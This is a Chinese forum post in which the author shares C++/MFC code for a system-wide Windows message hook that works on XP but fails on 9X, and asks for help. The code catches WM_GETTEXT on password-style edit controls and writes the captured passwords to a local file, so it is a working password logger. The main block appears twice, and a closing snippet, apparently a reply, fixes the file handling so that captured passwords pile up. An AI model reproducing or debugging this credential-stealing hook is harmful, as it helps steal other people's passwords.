这是我写的一份钩子代码!!在XP下可以运行,但在9X下有问题!!那位仁兄提示提示!!
HHOOK hCallWndprocRetHook=NULL;
CWPRETSTRUCT *pCwpRetstruct;
DWORD dwStyle=0;
/////////////////////////////////////////////////////////////////////////////
// CHookdllApp initializationLRESULT CALLBACK CallWndRetProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT RetVal=CallNextHookEx(hCallWndprocRetHook, nCode, wParam, lParam);
if (nCode < 0) // do not process message
return RetVal;
pCwpRetstruct=(CWPRETSTRUCT *)lParam;
if(WM_GETTEXT==pCwpRetstruct->message)
{
dwStyle=GetWindowLong(pCwpRetstruct->hwnd,GWL_STYLE);
if(dwStyle&ES_PASSWORD)
{ //保存在f.txt中 //问题在这里,在9X下绝大多数时候得到的是一个空白的文件,
//但在 XP下可以正常的运行 CFile file;
if(file.Open( "e:\\f.txt", CFile::modeCreate|CFile::modeReadWrite, NULL ))
{
file.Write((LPCTSTR)(pCwpRetstruct->lParam),::strlen((LPCTSTR)(pCwpRetstruct->lParam)));
file.Close();
} }
}
return RetVal;
}bool installhooker()
{
//安装消息钩子
hCallWndprocRetHook = SetWindowsHookEx(WH_CALLWNDPROCRET,CallWndRetProc,theApp.m_hInstance,0);
if(hCallWndprocRetHook==NULL)return 0;
::AfxMessageBox("fs");
return 1;
}
HHOOK hCallWndprocRetHook=NULL;
CWPRETSTRUCT *pCwpRetstruct;
DWORD dwStyle=0;
/////////////////////////////////////////////////////////////////////////////
// CHookdllApp initializationLRESULT CALLBACK CallWndRetProc(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT RetVal=CallNextHookEx(hCallWndprocRetHook, nCode, wParam, lParam);
if (nCode < 0) // do not process message
return RetVal;
pCwpRetstruct=(CWPRETSTRUCT *)lParam;
if(WM_GETTEXT==pCwpRetstruct->message)
{
dwStyle=GetWindowLong(pCwpRetstruct->hwnd,GWL_STYLE);
if(dwStyle&ES_PASSWORD)
{ //保存在f.txt中 //问题在这里,在9X下绝大多数时候得到的是一个空白的文件,
//但在 XP下可以正常的运行 CFile file;
if(file.Open( "e:\\f.txt", CFile::modeCreate|CFile::modeReadWrite, NULL ))
{
file.Write((LPCTSTR)(pCwpRetstruct->lParam),::strlen((LPCTSTR)(pCwpRetstruct->lParam)));
file.Close();
} }
}
return RetVal;
}bool installhooker()
{
//安装消息钩子
hCallWndprocRetHook = SetWindowsHookEx(WH_CALLWNDPROCRET,CallWndRetProc,theApp.m_hInstance,0);
if(hCallWndprocRetHook==NULL)return 0;
::AfxMessageBox("fs");
return 1;
}
if(file.Open( "e:\\f.txt",CFile::modeReadWrite, NULL ))
{
file.SeekToEnd();
file.Write((LPCTSTR)(pCwpRetstruct->lParam),::strlen((LPCTSTR)(pCwpRetstruct->lParam)));
file.Close();}去掉创建属性,并定位到文件尾